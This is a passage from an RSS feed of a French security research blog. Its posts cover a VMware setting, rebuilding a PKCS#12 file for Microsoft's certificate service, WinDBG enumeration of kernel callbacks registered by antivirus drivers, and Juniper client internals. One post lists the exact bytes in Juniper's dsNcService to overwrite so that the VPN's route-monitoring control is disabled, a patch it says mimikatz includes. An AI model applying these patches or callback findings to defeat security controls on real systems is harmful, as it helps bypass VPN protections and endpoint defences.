<li>FileZilla &#8211; <a href="http://filezilla-project.org/">http://filezilla-project.org/</a></li>
<li>uTorrent &#8211; <a href="http://www.utorrent.com/intl/fr/">http://www.utorrent.com/intl/fr/</a></li>
<li>Wireshark &#8211; <a href="http://www.wireshark.org/">http://www.wireshark.org/</a></li>
<li>TeamViewer &#8211; <a href="http://www.teamviewer.com/fr/">http://www.teamviewer.com/fr/</a></li>
</ul>
</li>
<li>
<h2>Sécurité</h2>
<ul>
<li>Microsoft Security Essentials &#8211; <a href="http://windows.microsoft.com/fr-FR/windows/products/security-essentials">http://windows.microsoft.com/fr-FR/windows/products/security-essentials</a> (pour la maison)</li>
<li>TrueCrypt &#8211; <a href="http://www.truecrypt.org/">http://www.truecrypt.org/</a></li>
<li>KeePass Password Safe &#8211; <a href="http://keepass.info/">http://keepass.info/</a></li>
<li>Eraser &#8211; <a href="http://www.heidi.ie/eraser/">http://www.heidi.ie/eraser/</a></li>
</ul>
</li>
<li>
<h2>Multimédia</h2>
<ul>
<li>Winamp &#8211; <a href="http://www.winamp.com/media-player/fr">http://www.winamp.com/media-player/fr</a></li>
<li>K-Lite Codec Pack &#8211; <a href="http://www.codecguide.com/download_kl.htm">http://www.codecguide.com/download_kl.htm</a></li>
<li>Adobe Creative Suite &#8211; <a href="http://www.adobe.com/fr/products/creativesuite/mastercollection.html">http://www.adobe.com/fr/products/creativesuite/mastercollection.html</a></li>
<li>ICOFormat &#8211; <a href="http://www.telegraphics.com.au/sw/product/ICOFormat">http://www.telegraphics.com.au/sw/product/ICOFormat</a></li>
<li>ICOBundle &#8211; <a href="http://www.telegraphics.com.au/sw/product/ICOBundle">http://www.telegraphics.com.au/sw/product/ICOBundle</a></li>
</ul>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/divers/selection-de-programmes/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Désactiver le retrait / l&#8217;éjection / la suppression de périphérique apportée par VMware</title>
		<link>http://blog.gentilkiwi.com/divers/desactiver-retrait-ejection-suppression-peripherique-vmware?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=desactiver-retrait-ejection-suppression-peripherique-vmware</link>
		<comments>http://blog.gentilkiwi.com/divers/desactiver-retrait-ejection-suppression-peripherique-vmware#comments</comments>
		<pubDate>Wed, 30 Nov 2011 14:30:50 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Divers]]></category>
		<category><![CDATA[devices]]></category>
		<category><![CDATA[eject]]></category>
		<category><![CDATA[hotplug]]></category>
		<category><![CDATA[kb1012225]]></category>
		<category><![CDATA[périphérique]]></category>
		<category><![CDATA[remove]]></category>
		<category><![CDATA[retirer]]></category>
		<category><![CDATA[vmware]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1065</guid>
		<description><![CDATA[Sous VMware (esx/vsphere/&#8230;), il peut être pénalisant que Windows permette d&#8217;éjecter très facilement du matériel aussi critique que le réseau ou des contrôleur de disque. Cette fonctionnalité est intéressante lors d&#8217;usages de type serveur ou pour des tests. Mais la &#8230; <a href="http://blog.gentilkiwi.com/divers/desactiver-retrait-ejection-suppression-peripherique-vmware">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Sous VMware (esx/vsphere/&#8230;), il peut être pénalisant que Windows permette d&#8217;éjecter très facilement du matériel aussi critique que le réseau ou des contrôleur de disque.</p>
<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/11/hotplug.png" alt="hotplug" /></p>
<p>Cette fonctionnalité est intéressante lors d&#8217;usages de type serveur ou pour des tests. Mais la plupart du temps l&#8217;on voudra empêcher ces opérations à des utilisateurs tiers, ou éviter toutes mauvaise manipulation.</p>
<p>Cette modification peut être apporté facilement dans la configuration avancée de la machine virtuelle, ou directement dans le .vmx via la directive :</p>
<pre class="brush: plain; title: ; notranslate">devices.hotplug = false</pre>
<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/11/nohotplug.png" alt="nohotplug" /></p>
<p>Source : <a href="http://kb.vmware.com/kb/1012225">http://kb.vmware.com/kb/1012225</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/divers/desactiver-retrait-ejection-suppression-peripherique-vmware/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Import d&#8217;un certificat d&#8217;autorité dans le service de certificats Microsoft</title>
		<link>http://blog.gentilkiwi.com/securite/import-certificat-autorite-service-certificats-microsoft?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=import-certificat-autorite-service-certificats-microsoft</link>
		<comments>http://blog.gentilkiwi.com/securite/import-certificat-autorite-service-certificats-microsoft#comments</comments>
		<pubDate>Mon, 28 Nov 2011 12:00:21 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[0x80093102]]></category>
		<category><![CDATA[asn1]]></category>
		<category><![CDATA[Bag Attributes]]></category>
		<category><![CDATA[certificats]]></category>
		<category><![CDATA[csp]]></category>
		<category><![CDATA[Microsoft CSP Name]]></category>
		<category><![CDATA[Microsoft Local Key set]]></category>
		<category><![CDATA[p12]]></category>
		<category><![CDATA[pfx]]></category>
		<category><![CDATA[service]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=980</guid>
		<description><![CDATA[! Attention, cet article peut paraître totalement aberrant aux lecteurs connaissant les HSM ! Si vous avez généré votre biclé sur un système tiers plutôt que sur le serveur d&#8217;autorité Microsoft, il va falloir l&#8217;importer lors de l&#8217;installation ou du &#8230; <a href="http://blog.gentilkiwi.com/securite/import-certificat-autorite-service-certificats-microsoft">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<h1>! Attention, cet article peut paraître totalement aberrant aux lecteurs connaissant les HSM !</h1>
<p>Si vous avez généré votre biclé sur un système tiers plutôt que sur le serveur d&#8217;autorité Microsoft, il va falloir l&#8217;importer lors de l&#8217;installation ou du renouvellement&#8230;<br />
Si certains messages d&#8217;erreurs lors de cet import peuvent être explicites, d&#8217;autres sont plus déconcertants :<br />
<img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/11/import_p12.png" alt="import_p12" /><br />
<em>Le certificat sélectionné n&#8217;a pas pu être utilisé</em></p>
<p>Ou lors de l&#8217;import dans la console de certificats :<br />
<img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/11/import_re_p12.png" alt="import_re_p12" /><br />
<em>ASN1 fin de données inattendue. 0&#215;80093102 (ASN: 258)</em></p>
<p>Pourtant ce certificat peut très bien être utilisé par l&#8217;autorité&#8230;<br />
Malgré ce Windows trop sur de lui, ce n&#8217;est pas le certificat qui ne peut être utilisé, mais le conteneur PKCS#12 qui ne contient pas les données attendues par le service&#8230;</p>
<p>Voici les attributs de clé contenu dans notre &laquo;&nbsp;P12&#8243;, précédemment généré par OpenSSL, xca ou autres logiciels cryptographique digne de ce nom :</p>
<pre class="brush: plain; title: ; notranslate">Offset| Len  |LenByte|
======+======+=======+======================================================================
  4195|    62|      1| SET :
  4197|    23|      1|    SEQUENCE :
  4199|     9|      1|       OBJECT IDENTIFIER : friendlyName [1.2.840.113549.1.9.20]
  4210|    10|      1|       SET :
  4212|     8|      1|          BMP STRING : 'acms'
  4222|    35|      1|    SEQUENCE :
  4224|     9|      1|       OBJECT IDENTIFIER : localKeyID [1.2.840.113549.1.9.21]
  4235|    22|      1|       SET :
  4237|    20|      1|          OCTET STRING :
      |      |       |             9A499BFB3E6AACE88638381E253C15190BC16FDD</pre>
<p>ou via OpenSSL :</p>
<pre class="brush: plain; title: ; notranslate">Bag Attributes
    friendlyName: acms
    localKeyID: 9A 49 9B FB 3E 6A AC E8 86 38 38 1E 25 3C 15 19 0B C1 6F DD
Key Attributes: &lt;No Attributes&gt;</pre>
<p>Pour n&#8217;importe quel autre logiciel cryptographique, cela suffirait amplement&#8230;. mais non, Microsoft semble rester sur sa faim avec ce P12&#8230;<br />
Reconstruisons un autre avec le même certificat, la même clé, mais avec d&#8217;autres attributs :</p>
<ul>
<li>Local Machine Keyset (<code>-LMK</code>)</li>
<li>Cryptographic Service Providers (<code>-CSP x</code>)</li>
<li>Friendly Name (<code>-name</code>)</li>
</ul>
<p>Le fichier .p12 est conservé, un nouveau .pfx est créé.</p>
<pre class="brush: plain; title: ; notranslate">openssl pkcs12 -password pass:XXXX -in acms.p12 -out acms.pem -clcerts -nodes
openssl pkcs12 -in acms.pem -password pass:XXXX -out acms.pfx -name &quot;ac ms&quot; -CSP &quot;Microsoft Software Key Storage Provider&quot; -LMK -export</pre>
<p>Remarques :</p>
<ul>
<li>ne pas oublier de supprimer minutieusement le fichier <code>acms.pem</code></li>
<li>Le fournisseur &laquo;&nbsp;Microsoft Software Key Storage Provider&nbsp;&raquo; n&#8217;est disponible que sous NT 6, il doit malheureusement être remplacé par &laquo;&nbsp;Microsoft Enhanced RSA and AES Cryptographic Provider&nbsp;&raquo; avant</li>
</ul>
<p>Voici les nouveaux attributs de clé :</p>
<pre class="brush: plain; title: ; notranslate">Offset| Len  |LenByte|
======+======+=======+======================================================================
  4195|   174|      2| SET :
  4198|    13|      1|    SEQUENCE :
  4200|     9|      1|       OBJECT IDENTIFIER :  [1.3.6.1.4.1.311.17.2]
  4211|     0|      1|       SET : ''
  4213|    25|      1|    SEQUENCE :
  4215|     9|      1|       OBJECT IDENTIFIER : friendlyName [1.2.840.113549.1.9.20]
  4226|    12|      1|       SET :
  4228|    10|      1|          BMP STRING : 'ac ms'
  4240|    35|      1|    SEQUENCE :
  4242|     9|      1|       OBJECT IDENTIFIER : localKeyID [1.2.840.113549.1.9.21]
  4253|    22|      1|       SET :
  4255|    20|      1|          OCTET STRING :
      |      |       |             9A499BFB3E6AACE88638381E253C15190BC16FDD
  4277|    93|      1|    SEQUENCE :
  4279|     9|      1|       OBJECT IDENTIFIER : szOID_LOCAL_MACHINE_KEYSET [1.3.6.1.4.1.311.17.1]
  4290|    80|      1|       SET :
  4292|    78|      1|          BMP STRING :
      |      |       |             'Microsoft Software Key Storage Provider'</pre>
<p>ou via OpenSSL :</p>
<pre class="brush: plain; title: ; notranslate">Bag Attributes
    Microsoft Local Key set: &lt;No Values&gt;
    friendlyName: ac ms
    localKeyID: 9A 49 9B FB 3E 6A AC E8 86 38 38 1E 25 3C 15 19 0B C1 6F DD
    Microsoft CSP Name: Microsoft Software Key Storage Provider
Key Attributes: &lt;No Attributes&gt;</pre>
<p>Cette fois, le PFX est correctement importé et utilisable. Le cas échéant, il faudra aller supprimer l&#8217;ancien certificat déjà importé.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/import-certificat-autorite-service-certificats-microsoft/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Surveillance des routes par Juniper (7.1)</title>
		<link>http://blog.gentilkiwi.com/securite/surveillance-des-routes-par-juniper-7-1?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=surveillance-des-routes-par-juniper-7-1</link>
		<comments>http://blog.gentilkiwi.com/securite/surveillance-des-routes-par-juniper-7-1#comments</comments>
		<pubDate>Sun, 30 Oct 2011 22:15:30 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Réseau]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[23711]]></category>
		<category><![CDATA[juniper]]></category>
		<category><![CDATA[monitor]]></category>
		<category><![CDATA[network connect]]></category>
		<category><![CDATA[routage]]></category>
		<category><![CDATA[routing]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=957</guid>
		<description><![CDATA[La nouvelle version de Juniper Network Connect (7.1) ne change pas grand chose à la surveillance des routes :( Ainsi, la nouvelle version du patch anti-surveillance de routes est incorporée à mimikatz (et ne prend plus en charge la version &#8230; <a href="http://blog.gentilkiwi.com/securite/surveillance-des-routes-par-juniper-7-1">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>La nouvelle version de Juniper Network Connect (7.1) ne change pas grand chose à <a href="http://blog.gentilkiwi.com/securite/surveillance-des-routes-par-juniper">la surveillance des routes</a> :(<br />
Ainsi, la nouvelle version du patch anti-surveillance de routes est incorporée à mimikatz (et ne prend plus en charge la version 7.0)</p>
<p>Pour plus de précisions dans le service <code>dsNcService</code> :</p>
<ul>
<li>Remplacer <code>{0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9</code></li>
<li>ou bien <code>{0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9</code></li>
<li>par : <code>{0xb0, 0x01, 0xc2, 0x04, 0x00}</code></li>
</ul>
<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/10/nc71.png" alt="nc71" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/surveillance-des-routes-par-juniper-7-1/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WinDBG : notifications Kernel</title>
		<link>http://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=windbg-notifications-kernel</link>
		<comments>http://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel#comments</comments>
		<pubDate>Sat, 29 Oct 2011 16:46:25 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Rétro-ingénierie]]></category>
		<category><![CDATA[CmRegisterCallback]]></category>
		<category><![CDATA[CmRegisterCallbackEx]]></category>
		<category><![CDATA[CmUnRegisterCallback]]></category>
		<category><![CDATA[FltRegisterFilter]]></category>
		<category><![CDATA[FltStartFiltering]]></category>
		<category><![CDATA[FltUnregisterFilter]]></category>
		<category><![CDATA[PsRemoveCreateThreadNotifyRoutine]]></category>
		<category><![CDATA[PsRemoveLoadImageNotifyRoutine]]></category>
		<category><![CDATA[PsSetCreateProcessNotifyRoutine]]></category>
		<category><![CDATA[PsSetCreateProcessNotifyRoutineEx]]></category>
		<category><![CDATA[PsSetCreateThreadNotifyRoutine]]></category>
		<category><![CDATA[PsSetLoadImageNotifyRoutine]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=847</guid>
		<description><![CDATA[** BROUILLON ** Les hooks SSDT en mode noyau n&#8217;ont plus le vent en poupe, merci PatchGard :) Nos éditeurs antivirus et HIPS n&#8217;ont plus vraiment le choix (du moins en x64), ils doivent passer par les notifications kernel offertes &#8230; <a href="http://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<h1>** BROUILLON **</h1>
<p>Les hooks SSDT en mode noyau n&#8217;ont plus le vent en poupe, merci PatchGard :)<br />
Nos éditeurs antivirus et HIPS n&#8217;ont plus vraiment le choix (du moins en x64), ils doivent passer par les notifications kernel offertes par Microsoft.<br />
(en revanche rien n’empêche d&#8217;implémenter en sus des hooks userland)</p>
<ul>
<li><a href="#processus">Processus</a></li>
<li><a href="#threads">Threads</a></li>
<li><a href="#images">Images</a></li>
<li><a href="#registre">Registre</a></li>
<li>Fichiers (via <a href="http://msdn.microsoft.com/windows/hardware/gg462968">minifiltres</a> !</li>
</ul>
<h2 id="processus">Processus</h2>
<p>La mise en place de ces notifications se fait via les méthodes suivantes :</p>
<ul>
<li><code><a href="http://msdn.microsoft.com/library/windows/hardware/ff559951.aspx">PsSetCreateProcessNotifyRoutine</a></code></li>
<li><code><a href="http://msdn.microsoft.com/library/windows/hardware/ff559953.aspx">PsSetCreateProcessNotifyRoutineEx</a></code>
<ul>
<li>Cette routine, seulement disponible en NT6, est plus souple et offre un contrôle avant lancement du processus :<br />
<blockquote><p>For a new process, the CreateProcessNotifyEx routine is called after the initial thread is created, but before the thread begins running. The driver can cause the process-creation operation to fail by changing the CreateInfo->CreationStatus member to an NTSTATUS error code.</p></blockquote>
</li>
</ul>
</li>
</ul>
<p>Le détachement de la routine de notification se fait par la même méthode que l&#8217;attachement : <code>PsSetCreateProcessNotifyRoutine[ex]</code>, l&#8217;on spécifie seulement Remove = TRUE pour le deuxième argument.</p>
<h3>Limitation étrange</h3>
<ul>
<li>NT5 : au maximum 8 callbacks, sous peine de se voir retourner <code>STATUS_PROCEDURE_NOT_FOUND ; 0xC000007A</code>
<pre class="brush: asm; title: ; notranslate">PAGE:00597BFE                 cmp     ebx, 8
PAGE:00597C01                 jb      short loc_597BCF
PAGE:00597C03                 mov     eax, 0C000007Ah</pre>
</li>
<li>NT6 : au maximum 64 callbacks, sous peine de se voir retourner <code>STATUS_PROCEDURE_NOT_FOUND ; 0xC000007A</code><br />
<em>Cette augmentation est la bienvenue puisque Windows lui même en utilise 6 par défaut, 7 avec MSE&#8230;</em>
</li>
</ul>
<h3>Retrouvons nos routines dans notre débogueur préféré</h3>
<p>Légende :</p>
<ul>
<li><code>PspCreateProcessNotifyRoutineCount</code> ; nombre de callbacks créés par <code>PsSetCreateProcessNotifyRoutine</code></li>
<li><code>PspCreateProcessNotifyRoutineExCount</code> ; nombre de callbacks créés par <code>PsSetCreateProcessNotifyRoutineEx</code></li>
<li><code>PspCreateProcessNotifyRoutine </code> ; tableau de pointeurs des callbacks (avec 3 bits de contrôle), décalé de 4 octets en 32 bits</li>
</ul>
<pre class="brush: plain; highlight: [2,4]; title: ; notranslate">lkd&gt; dd nt!PspCreateProcessNotifyRoutineCount l1
fffff800`01678184  00000005
lkd&gt; dd nt!PspCreateProcessNotifyRoutineExCount l1
fffff800`01678180  00000001
lkd&gt; dp nt!PspCreateProcessNotifyRoutine l6
fffff800`01677f80  fffff8a0`00004c0f fffff8a0`0024c15f
fffff800`01677f90  fffff8a0`0015cbef fffff8a0`000797ff
fffff800`01677fa0  fffff8a0`00381c4f fffff8a0`06e0e3df
</pre>
<p>Regardons de plus près ces callbacks (sortie épurée pour faciliter la compréhension) :</p>
<pre class="brush: plain; highlight: [2,4,6,8,10,14]; title: ; notranslate">lkd&gt; ln poi(@@(0xfffff8a000004c0f &amp; ~7))
    nt!ViCreateProcessCallback = &lt;no type information&gt;
lkd&gt; ln poi(@@(0xfffff8a00024c15f &amp; ~7))
    ksecdd!KsecCreateProcessNotifyRoutine = &lt;no type information&gt;
lkd&gt; ln poi(@@(0xfffff8a00015cbef &amp; ~7))
    cng!CngCreateProcessNotifyRoutine = &lt;no type information&gt;
lkd&gt; ln poi(@@(0xfffff8a0000797ff &amp; ~7))
    tcpip!CreateProcessNotifyRoutineEx = &lt;no type information&gt;
lkd&gt; ln poi(@@(0xfffff8a000381c4f &amp; ~7))
    CI!I_PEProcessNotify = &lt;no type information&gt;
lkd&gt; ln poi(@@(0xfffff8a006e0e3df &amp; ~7))
lkd&gt; lm f a (poi(@@(0xfffff8a006e0e3df &amp; ~7)))
start             end                 module name
fffff880`034f8000 fffff880`0359e000   peauth   \SystemRoot\system32\drivers\peauth.sys</pre>
<p>Un petit exemple en 32 bits pour faire apparaitre le <strong>décalage de 4 octets</strong> du pointeur, et le pilote de MSE / FEP :</p>
<pre class="brush: plain; highlight: [6,10]; title: ; notranslate">lkd&gt; dp nt!PspCreateProcessNotifyRoutine l9
829799a0  87c08ec7 87c5ee5f 87c4db57 88c897c7
829799b0  87db97ef 88c69117 87d13e27 93f4e867
829799c0  97497857
lkd&gt; ln poi(@@(0x87c08ec7 &amp; ~7) + 4)
    nt!ViCreateProcessCallback = &lt;no type information&gt;
lkd&gt; ln poi(@@(0x97497857 &amp; ~7) + 4)
lkd&gt; lm f a (poi(@@(0x97497857 &amp; ~7) + 4))
start    end        module name
947b1000 947d7800   MpFilter \SystemRoot\system32\DRIVERS\MpFilter.sys</pre>
<h2 id="threads">Threads</h2>
<ul>
<li><code><a href="http://msdn.microsoft.com/library/ff559954.aspx">PsSetCreateThreadNotifyRoutine</a></code></li>
<li><code><a href="http://msdn.microsoft.com/library/ff559947.aspx">PsRemoveCreateThreadNotifyRoutine</a></code></li>
</ul>
<h3>Limitation étrange</h3>
<p><em>Encore une fois&#8230;</em></p>
<ul>
<li>NT5 : au maximum 8 callbacks, sous peine de se voir retourner <code>STATUS_INSUFFICIENT_RESOURCES ; 0xC000009A</code></li>
<li>NT6 : au maximum 64 callbacks, sous peine de se voir retourner <code>STATUS_INSUFFICIENT_RESOURCES ; 0xC000009A</code></li>
</ul>
<h3>Retrouvons nos routines dans notre débogueur préféré</h3>
<p>Légende :</p>
<ul>
<li><code>PspCreateThreadNotifyRoutineCount</code> ; nombre de callbacks créés par <code>PsSetCreateThreadNotifyRoutine</code></li>
<li><code>PspCreateThreadNotifyRoutine</code> ; tableau de pointeurs des callbacks (avec 3 bits de contrôle), décalé de 4 octets en 32 bits</li>
</ul>
<pre class="brush: plain; highlight: [2,8]; title: ; notranslate">lkd&gt; dd nt!PspCreateThreadNotifyRoutineCount l1
82979980  00000002
lkd&gt; dp nt!PspCreateThreadNotifyRoutine l2
82979880  87ce05ef 98861407
lkd&gt; ln poi(@@(0x98861407 &amp; ~7) + 4)
lkd&gt; lm f a (poi(@@(0x98861407 &amp; ~7) + 4))
start    end        module name
947b1000 947d7800   MpFilter \SystemRoot\system32\DRIVERS\MpFilter.sys</pre>
<h2 id="images">Images</h2>
<ul>
<li><code><a href="http://msdn.microsoft.com/library/ff559957.aspx">PsSetLoadImageNotifyRoutine</a></code></li>
<li><code><a href="http://msdn.microsoft.com/library/ff559949.aspx">PsRemoveLoadImageNotifyRoutine</a></code></li>
</ul>
<h3>Limitation étrange</h3>
<p><em>Ils devaient manquer de mémoire chez Microsoft ;)</em></p>
<ul>
<li>NT5 : au maximum 8 callbacks, sous peine de se voir retourner <code>STATUS_INSUFFICIENT_RESOURCES ; 0xC000009A</code></li>
<li>NT6 : au maximum <strong>8</strong> (?) callbacks, sous peine de se voir retourner <code>STATUS_INSUFFICIENT_RESOURCES ; 0xC000009A</code></li>
</ul>
<h3>Retrouvons nos routines dans notre débogueur préféré</h3>
<p>Légende :</p>
<ul>
<li><code>PspLoadImageNotifyRoutineCount</code> ; nombre de callbacks créés par <code>PsSetLoadImageNotifyRoutine</code></li>
<li><code>PspLoadImageNotifyRoutine</code> ; tableau de pointeurs des callbacks (avec 3 bits de contrôle), décalé de 4 octets en 32 bits</li>
</ul>
<pre class="brush: plain; highlight: [2,6]; title: ; notranslate">lkd&gt; dd nt!PspLoadImageNotifyRoutineCount l1
fffff800`01677d40  00000001
lkd&gt; dp nt!PspLoadImageNotifyRoutine l1
fffff800`01677d00  fffff8a0`0006af0f
lkd&gt; ln poi(@@(0xfffff8a00006af0f &amp; ~7))
    nt!EtwpTraceLoadImage = &lt;no type information&gt;</pre>
<h2 id="registre">Registre</h2>
<ul>
<li><code><a href="http://msdn.microsoft.com/library/ff541918.aspx">CmRegisterCallback</a></code></li>
<li><code><a href="http://msdn.microsoft.com/library/ff541921.aspx">CmRegisterCallbackEx</a></code></li>
<li><code><a href="http://msdn.microsoft.com/library/ff541928.aspx">CmUnRegisterCallback</a></code> </li>
</ul>
<h3>Limitation étrange</h3>
<p><em>Microsoft s&#8217;est montré un peu plus généreux cette fois ci&#8230;</em></p>
<ul>
<li>NT5 : au maximum 100 callbacks, sous peine de se voir retourner <code>STATUS_INSUFFICIENT_RESOURCES ; 0xC000009A</code></li>
<li>NT6 : a priori pas de limitations (?), les callbacks ne sont plus ici stockés dans un tableau statique, mais dans une liste liée dynamique</code></li>
</ul>
<h3>Retrouvons nos routines dans notre débogueur préféré</h3>
<p>Légende :</p>
<ul>
<li><code>CmpCallBackCount</code> ; nombre de callbacks créés par <code>CmRegisterCallback(Ex)</code>, inutile en NT6 ou la liste liée suffit à parcourir les callbacks</li>
<li><code>CmpCallBackVector</code> ; <strong>NT5</strong> ; tableau de pointeurs des callbacks (avec 3 bits de contrôle), décalé de 4 octets en 32 bits</li>
<li><code>CallbackListHead</code> ; <strong>NT6</strong> ; liste liée de structure des callbacks</li>
</ul>
<p>Les callbacks créés sont identifiés par un cookie, et pour NT6 disposent d'une altitude.</p>
<p><strong>NT5</strong></p>
<pre class="brush: plain; highlight: [2,4,7,9]; title: ; notranslate">lkd&gt; dd nt!CmpCallBackCount l1
809d8000  00000001
lkd&gt; dp nt!CmpCallBackVector l1
809d8008  e2317b9f
lkd&gt; lm f a (poi(@@(0xe2317b9f&amp; ~7) + 4))
start    end        module name
f5b04000 f5b0fc00   PROCMON20 \??\C:\WINDOWS\system32\Drivers\PROCMON20.SYS
lkd&gt; dq (poi(@@(0xe2317b9f&amp; ~7) + 8)) l1
e2dc0930  01ccc33c`b6b63089</pre>
<p><strong>NT6</strong></p>
<pre class="brush: plain; highlight: [2,4,16,18,20,28,30,32]; title: ; notranslate">lkd&gt; dd nt!CmpCallBackCount l1
fffff800`02e57ae4  00000002
lkd&gt; x nt!CallbackListHead
fffff800`02ecc910 nt!CallbackListHead = &lt;no type information&gt;
lkd&gt; dt nt!_LIST_ENTRY 0xfffff800`02ecc910
 [ 0xfffff8a0`02808080 - 0xfffff8a0`05d750d0 ]
   +0x000 Flink            : 0xfffff8a0`02808080 _LIST_ENTRY [ 0xfffff8a0`05d750d0 - 0xfffff800`02ecc910 ]
   +0x008 Blink            : 0xfffff8a0`05d750d0 _LIST_ENTRY [ 0xfffff800`02ecc910 - 0xfffff8a0`02808080 ]
lkd&gt; dq 0xfffff8a0`02808080 l8
fffff8a0`02808080  fffff8a0`05d750d0 fffff800`02ecc910
fffff8a0`02808090  10000000`00000000 01ccc334`922c6342
fffff8a0`028080a0  00000000`00000000 fffff880`0450e9b8
fffff8a0`028080b0  fffff8a0`000c000c fffff8a0`01a3d220
lkd&gt; lm f a (poi(0xfffff8a0`02808080+0x28))
start             end                 module name
fffff880`044f3000 fffff880`04524000   MpFilter \SystemRoot\system32\DRIVERS\MpFilter.sys
lkd&gt; !ustr 0xfffff8a0`02808080+0x30
String(12,12) at fffff8a0028080b0: 425000
lkd&gt; dq 0xfffff8a0`02808080+0x18 l1
fffff8a0`02808098  01ccc334`922c6342
lkd&gt; dq 0xfffff8a0`05d750d0 l8
fffff8a0`05d750d0  fffff800`02ecc910 fffff8a0`02808080
fffff8a0`05d750e0  42424242`00000000 01ccc334`922c6343
fffff8a0`05d750f0  00000000`00000000 fffff880`071d69d0
fffff8a0`05d75100  42424242`000c000c fffff8a0`056a5cf0
lkd&gt; lm f a (poi(0xfffff8a0`05d750d0+0x28))
start             end                 module name
fffff880`071d0000 fffff880`071e4000   PROCMON20 \??\C:\Windows\system32\Drivers\PROCMON20.SYS
lkd&gt; !ustr 0xfffff8a0`05d750d0+0x30
String(12,12) at fffff8a005d75100: 425000
lkd&gt; dq 0xfffff8a0`05d750d0+0x18 l1
fffff8a0`05d750e8  01ccc334`922c6343</pre>
<h1>** BROUILLON **</h1>
<h2 id="fichiers">Fichier</h2>
<ul>
<li><code><a href="http://msdn.microsoft.com/library/ff544305.aspx">FltRegisterFilter</a></code></li>
<li><code><a href="http://msdn.microsoft.com/library/ff544569.aspx">FltStartFiltering</a></code></li>
<li><code><a href="http://msdn.microsoft.com/library/ff544606.aspx">FltUnregisterFilter</a></code></li>
</ul>
<p>(vous pourrez par ailleurs trouver sur le site <a href="http://www.microsoft.com/whdc/driver/filterdrv/alloc-alt.mspx">WHDC de Microsoft</a> les altitudes alloués par Microsoft à différents produits...)</p>
<h1>** BROUILLON **</h1>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Juniper Secure Virtual Workspace, hooks userland</title>
		<link>http://blog.gentilkiwi.com/securite/juniper-secure-virtual-workspace-hooks-userland?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=juniper-secure-virtual-workspace-hooks-userland</link>
		<comments>http://blog.gentilkiwi.com/securite/juniper-secure-virtual-workspace-hooks-userland#comments</comments>
		<pubDate>Sat, 08 Oct 2011 18:41:14 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Réseau]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[hooks]]></category>
		<category><![CDATA[ive]]></category>
		<category><![CDATA[juniper]]></category>
		<category><![CDATA[Secure Virtual Workspace]]></category>
		<category><![CDATA[svw]]></category>
		<category><![CDATA[userland]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=941</guid>
		<description><![CDATA[Le mode &#171;&#160;Secure Virtual Workspace&#160;&#187; ou &#171;&#160;Bureau Virtuel&#160;&#187; de Juniper fais appel à un vrai petit HIPS en mode user. Ce dernier repose sur une librairie dsjvd.dll, systématiquement chargé dans les processus de la bulle. Cet article ne le détaillera &#8230; <a href="http://blog.gentilkiwi.com/securite/juniper-secure-virtual-workspace-hooks-userland">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Le mode &laquo;&nbsp;<a href="http://kb.juniper.net/InfoCenter/index?page=content&#038;id=KB8771">Secure Virtual Workspace</a>&nbsp;&raquo; ou &laquo;&nbsp;Bureau Virtuel&nbsp;&raquo; de Juniper fais appel à un vrai petit HIPS en mode <code>user</code>.<br />
Ce dernier repose sur une librairie <code>dsjvd.dll</code>, systématiquement chargé dans les processus de la bulle.</p>
